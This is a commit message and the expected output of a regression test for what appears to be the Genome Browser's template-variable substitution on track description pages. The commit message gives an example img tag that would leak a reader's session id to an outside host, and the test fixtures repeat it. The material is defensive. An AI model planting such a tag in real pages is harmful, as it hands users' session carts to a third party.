d898b4820087cccd79e240153bc310856bb89310
braney
  Sat Sep 19 18:22:49 2026 -0700
hVarSubstHtmlTester: pin which variables a description page may use

A native description page has been through hgTrackDb already, which resolved
everything it could and deferred only ${hgsid}, so the render pass acts on that
one variable and only in braces: hgTrackDb collapses an escaped $$hgsid to a
literal $hgsid, and acting on the bare form here would expand the very thing
the author escaped.

A hub's page has never been substituted, so the whole hub list is resolved at
render time, and $hgsid is deliberately not on that list.  A hub page is only
lightly sanitized -- an <img> with an http src survives -- so a page carrying
<img src="https://example.com/px?s=${hgsid}"> would hand the reader's session
id to the hub's own server, and a session id alone is enough to read and write
that cart.  The page renders the same either way and the request goes to
somebody else's host, so nothing about this is visible here.

The test builds a cart by hand rather than opening one.  That is not a
shortcut, it is the point: a cartless version of this test was written first,
and adding hgsid back to hubHtmlVars changed not one line of its output,
because the check that recognises a variable also asks whether this call can
resolve it, and with no cart it cannot.  cartSessionId reads two fields, so a
struct built in the test is enough and no database is involved.

Watched to fail and then pass: with hgsid back on the hub list, both hub cases
come back with the session id substituted into the img src.  Recorded as
sandbox-ab in utils/testRegistry.

refs #38283, refs #38391

diff --git src/hg/lib/tests/expected/hVarSubstHtmlTest src/hg/lib/tests/expected/hVarSubstHtmlTest
new file mode 100644
index 00000000000..fe8b033df44
--- /dev/null
+++ src/hg/lib/tests/expected/hVarSubstHtmlTest
@@ -0,0 +1,24 @@
+a hub's description page
+  $db resolves                   <p>assembly $db</p>                -> <p>assembly hg38</p>
+  ${db} in braces too            <p>assembly ${db}</p>              -> <p>assembly hg38</p>
+  $$db stays a dollar            <p>$$db</p>                        -> <p>$db</p>
+  $hgsid is NOT a variable       <img src="http://x/p?s=$hgsid">    -> <img src="http://x/p?s=$hgsid">
+  ${hgsid} is NOT a variable     <img src="http://x/p?s=${hgsid}">  -> <img src="http://x/p?s=${hgsid}">
+  a price is not a variable      <p>costs $5 million</p>            -> <p>costs $5 million</p>
+
+a native description page
+  ${hgsid} is acted on           <a href="x?hgsid=${hgsid}">go</a>  -> <a href="x?hgsid=12345_abcdef">go</a>
+  $hgsid is left alone           <a href="x?hgsid=$hgsid">go</a>    -> <a href="x?hgsid=$hgsid">go</a>
+  $db was done by hgTrackDb      <p>assembly $db</p>                -> <p>assembly $db</p>
+  a price is not a variable      <p>costs $5 million</p>            -> <p>costs $5 million</p>
+
+with no cart at all
+  hub page, ${hgsid}             <img src="http://x/p?s=${hgsid}">  -> <img src="http://x/p?s=${hgsid}">
+  native page, ${hgsid}          <a href="x?hgsid=${hgsid}">go</a>  -> <a href="x?hgsid=${hgsid}">go</a>
+  hub page, $db                  <p>assembly $db</p>                -> <p>assembly hg38</p>
+
+nothing to substitute
+  no dollar at all               <p>plain</p>                       -> <p>plain</p>
+  empty page                                                        -> 
+  a NULL track                   returned, no crash
+